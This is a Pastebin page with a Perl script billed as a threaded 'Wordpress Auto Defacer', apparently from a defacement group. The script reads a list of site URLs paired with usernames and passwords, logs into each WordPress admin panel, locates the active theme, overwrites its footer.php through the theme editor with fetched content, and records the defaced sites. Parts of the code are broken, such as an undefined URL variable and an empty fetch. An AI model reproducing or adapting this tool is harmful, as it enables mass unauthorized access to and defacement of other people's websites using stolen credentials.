Advertisement
M-A

wp_deface2

M-A
Jul 20th, 2015
388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # m-a_labz
  3. # WwW.janissaries.OrG
  4. use threads;
  5. use threads::shared;
  6. use WWW::Mechanize;
  7. use Term::ANSIColor;
  8. use Win32::Console::ANSI;
  9. use HTTP::Request;
  10. use LWP::Simple;
  11. #Threads Nember :)
  12. my $threads = 5;
  13.  
  14. my $ua = LWP::UserAgent->new;
  15. $ua->timeout(15);
  16. $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');
  17. my @infos : shared;
  18. print color("bold red"), q{
  19. [+] Wordpress Auto Defacer + Threads ;)
  20. [+]               www.janissaries.org
  21. };print color("reset");
  22. print "\n[.] Starting...\n";
  23. GetInfo();
  24. Deface_Wp();
  25. while (threads->list) {}
  26.  
  27. sub GetInfo {
  28.         open( DOM, "info.txt" ) or die "$!\n";
  29.         while( defined( my $line_ = <DOM> ) ) {
  30.                 chomp( $line_ );
  31.                 push( @infos, $line_ );
  32.         }
  33.         close( DOM );
  34. }
  35. sub Deface_Wp {
  36.         foreach my $info( @infos ) {
  37.                 my  $ctr = 0;
  38.                 foreach my $thr ( threads->list ) { $ctr++; }
  39.                 if ($ctr < $threads){
  40.                         threads->create( \&Index_Chang,$info );
  41.                 }
  42.                 else { redo; }
  43.         }
  44. }
  45. sub Index_Chang {
  46. my $info = shift;
  47. chomp( $info );
  48. @d1 = split(/\@/, $info);
  49. @inf = split(/:/, @d1[1]);
  50. @ur = split(/wp-login/, @d1[0]);
  51. $wp = "http://".@d1[0];
  52. print $wp."\n\n";
  53. $mech = WWW::Mechanize->new();
  54. $mech->timeout(30);
  55. $mech->get($wp) or die "[-] can't connect :(\n";
  56. $mech->submit_form(
  57. form_id => "loginform",
  58. fields=> {
  59. log => @inf[0],
  60. pwd  => @inf[1]
  61.  }
  62. );
  63. $result = $mech->content;
  64. if($result =~ /wp-admin\/admin-ajax\.php/)
  65. {
  66. print "              => Done  Log in ;)\n";
  67.         my $requestweb = HTTP::Request->new(GET=>$url);
  68.         my $responseweb = $ua->request($requestweb);
  69.         if ($responseweb->content=~/wp-content\/themes\/(.*?)\//g){
  70.         my $theme = $1;
  71.         chomp ($theme);
  72.  
  73. $tt = $url."wp-admin/theme-editor.php?file=footer.php&theme=$theme";
  74. print "              --> Theme = $theme\n";
  75. my $index = $ua->get("")->content;
  76. my $index = unpack "H*","".$index."";
  77. $shell = pack "H*", "".$index."";
  78. $mech->get($tt) or die "[-] can't connect :(\n";
  79. $mech->submit_form(
  80. form_id => "template",
  81. form_name => "template",
  82. fields=> {
  83. newcontent => $shell,
  84.  }
  85. );
  86. if($mech->success)
  87. {
  88. print "              --> Done Defacing in ($theme)\n\n";
  89.                                 open(BB,">>wpdeface.txt");
  90.                                 print BB $url."wp-content/themes/".$theme."/footer.php\n";
  91.                                 close(BB);
  92. }
  93. else {
  94. print "              [-] Can't Defacing\n\n";
  95. }
  96. }
  97. else
  98. {
  99. print "              [-] Can't Getting Theme Name ! \n\n";
  100. }
  101. }else {
  102. print color("bold white"), $n."/".$tn;
  103. print color 'reset';
  104. print "  [-] $D [not suported]\n";
  105. }
  106. threads->detach();
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement